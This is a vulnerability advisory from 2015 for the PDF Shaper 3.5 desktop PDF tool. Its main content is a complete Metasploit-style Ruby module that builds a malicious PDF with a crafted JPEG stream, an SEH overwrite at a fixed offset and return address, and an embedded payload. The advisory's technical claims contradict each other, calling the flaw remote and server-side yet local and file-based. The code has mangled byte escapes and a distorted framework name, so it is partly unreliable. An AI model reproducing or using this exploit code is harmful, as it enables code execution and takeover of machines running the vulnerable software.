PDF Shaper 3.5 Remote Buffer Overflow
Posted on 24 August 2015
Document Title: =============== PDF Shaper v3.5 - (MSF) Remote Buffer Overflow Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1579 Video: https://youtu.be/-HTEIisSiH8 Release Date: ============= 2015-08-16 Vulnerability Laboratory ID (VL-ID): ==================================== 1579 Common Vulnerability Scoring System: ==================================== 7.9 Product & Service Introduction: =============================== PDF Shaper is a collection of free PDF tools, which allows you to merge, split, encrypt and decrypt PDFs, convert images to PDF, convert PDF to Word RTF or images, extract text and images from PDF. Program has easy-to-use user interface, supports Unicode characters and batch processing. (Copy of the Vendor Homepage: http://www.glorylogic.com/pdf-shaper.html ) Abstract Advisory Information: ============================== An independent vulnerability laboratory researcher discovered a remote buffer overflow vulnerability in the official PDF Shaper v3.5 software. Vulnerability Disclosure Timeline: ================================== 2015-08-20: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Glorylogic Product: PDF Shaper - Software 3.5 Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ A remote buffer overflow vulnerability has been discovered in the official PDF Shaper v3.5 software client. The buffer overflow vulnerability can be exploited by local attackers to compromise a target system or to gain higher access privileges for further exploitation. The metasploit exploitcode requires the usage of the metabuffer module. The vulnerability is a unicode buffer overflow in the host software. The exploit is remotly exploitable and the issue is located on the server-side. The security risk of the buffer overflow vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.9. Exploitation of the vulnerability requires a low privilege system user account and no user interaction. Successful exploitation of the vulnerability results in system compromise by elevation of privileges via overwrite of the registers. Proof of Concept (PoC): ======================= The remote buffer overflow vulnerability can be exploited by remote attackers without user interaction or low privilege system user account. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Exploit: MSF Console class Metasploit3 < Msf::Exploit::Remote #Rank definition: http://dev.metabuffer.com/redmine/projects/framework/wiki/Exploit_Ranking #ManualRanking/LowRanking/AverageRanking/NormalRanking/GoodRanking/GreatRanking/ExcellentRanking Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::PDF include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'PDF Shaper Buffer Overflow', 'Description' => %q{ PDF Shaper is prone to a security vulnerability when processing PDF files. The vulnerability appear when we use Convert PDF to Image and use a specially crafted PDF file. This module has been tested successfully on Win Xp, Win 7, Win 8, Win 10. }, 'License' => MSF_LICENSE, 'Author' => [ 'metacom<metacom27[at]gmail.com>', # Original discovery 'metacom', # MSF Module ], 'References' => [ [ 'OSVDB', '<insert OSVDB number here>' ], [ 'CVE', 'insert CVE number here' ], [ 'URL', '<insert another link to the exploit/advisory here>' ] ], 'DefaultOptions' => { 'ExitFunction' => 'process', #none/process/thread/seh #'InitialAutoRunScript' => 'migrate -f', }, 'Platform' => 'win', 'Payload' => { 'Space' => 2000, 'DisableNops' => true, }, 'Targets' => [ [ '<Win Xp, Win 7, Win 8, Win 10 / PDF Shaper v.3.5>', { 'Ret' => 0x00713726, # pop ebx # pop ebp # ret - PDFTools.exe 'Offset' => 433 } ], ], 'Privileged' => false, #Correct Date Format: "M D Y" #Month format: Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec 'DisclosureDate' => 'Aug 10 2015', 'DefaultTarget' => 0)) register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.pdf']),], self.class) end def exploit file_create(make_pdf) end def jpeg buffer = "xFFxD8xFFxEEx00x0Ex41x64x6Fx62x65x00x64x80x00x00" buffer << "x00x02xFFxDBx00x84x00x02x02x02x02x02x02x02x02x02" buffer << "x02x03x02x02x02x03x04x03x03x03x03x04x05x04x04x04" buffer << "x04x04x05x05x05x05x05x05x05x05x05x05x07x08x08x08" buffer << "x07x05x09x0Ax0Ax0Ax0Ax09x0Cx0Cx0Cx0Cx0Cx0Cx0Cx0C" buffer << "x0Cx0Cx0Cx0Cx0Cx0Cx0Cx01x03x02x02x03x03x03x07x05" buffer << "x05x07x0Dx0Ax09x0Ax0Dx0Fx0Dx0Dx0Dx0Dx0Fx0Fx0Cx0C" buffer << "x0Cx0Cx0Cx0Fx0Fx0Cx0Cx0Cx0Cx0Cx0Cx0Fx0Cx0Ex0Ex0E" buffer << "x0Ex0Ex0Cx11x11x11x11x11x11x11x11x11x11x11x11x11" buffer << "x11x11x11x11x11x11x11x11xFFxC0x00x14x08x00x32x00" buffer << "xE6x04x01x11x00x02x11x01x03x11x01x04x11x00xFFxC4" buffer << "x01xA2x00x00x00x07x01x01x01x01x01x00x00x00x00x00" buffer << "x00x00x00x04x05x03x02x06x01x00x07x08x09x0Ax0Bx01" buffer << "x54x02x02x03x01x01x01x01x01x00x00x00x00x00x00x00" buffer << "x01x00x02x03x04x05x06x07" buffer << rand_text(target['Offset']) #junk buffer << generate_seh_record(target.ret) buffer << payload.encoded buffer << rand_text(2388 - payload.encoded.length) return buffer end def nObfu(str) return str end def make_pdf # pdf template taken from PDF Shaper exploit module @pdf << header add_object(1, nObfu("<</Type/Catalog/Outlines 2 0 R /Pages 3 0 R>>")) add_object(2, nObfu("<</Type/Outlines>>")) add_object(3, nObfu("<</Type/Pages/Kids[5 0 R]/Count 1/Resources <</ProcSet 4 0 R/XObject <</I0 7 0 R>>>>/MediaBox[0 0 612.0 792.0]>>")) add_object(4, nObfu("[/PDF/Text/ImageC]")) add_object(5, nObfu("<</Type/Page/Parent 3 0 R/Contents 6 0 R>>")) stream_1 = "stream" << eol stream_1 << "0.000 0.000 0.000 rg 0.000 0.000 0.000 RG q 265.000 0 0 229.000 41.000 522.000 cm /I0 Do Q" << eol stream_1 << "endstream" << eol add_object(6, nObfu("<</Length 91>>#{stream_1}")) stream = "<<" << eol stream << "/Width 230" << eol stream << "/BitsPerComponent 8" << eol stream << "/Name /X" << eol stream << "/Height 50" << eol stream << "/Intent /RelativeColorimetric" << eol stream << "/Subtype /Image" << eol stream << "/Filter /DCTDecode" << eol stream << "/Length #{jpeg.length}" << eol stream << "/ColorSpace /DeviceCMYK" << eol stream << "/Type /XObject" << eol stream << ">>" stream << "stream" << eol stream << jpeg << eol stream << "endstream" << eol add_object(7, stream) finish_pdf end end Reference(s): Metabuffer: http://metabuffer.com/download Current Source: https://github.com/rapid7/metabuffer-framework Security Risk: ============== The security risk of the remote buffer overflow vulnerability in the pdf shaper software is estimated as high. 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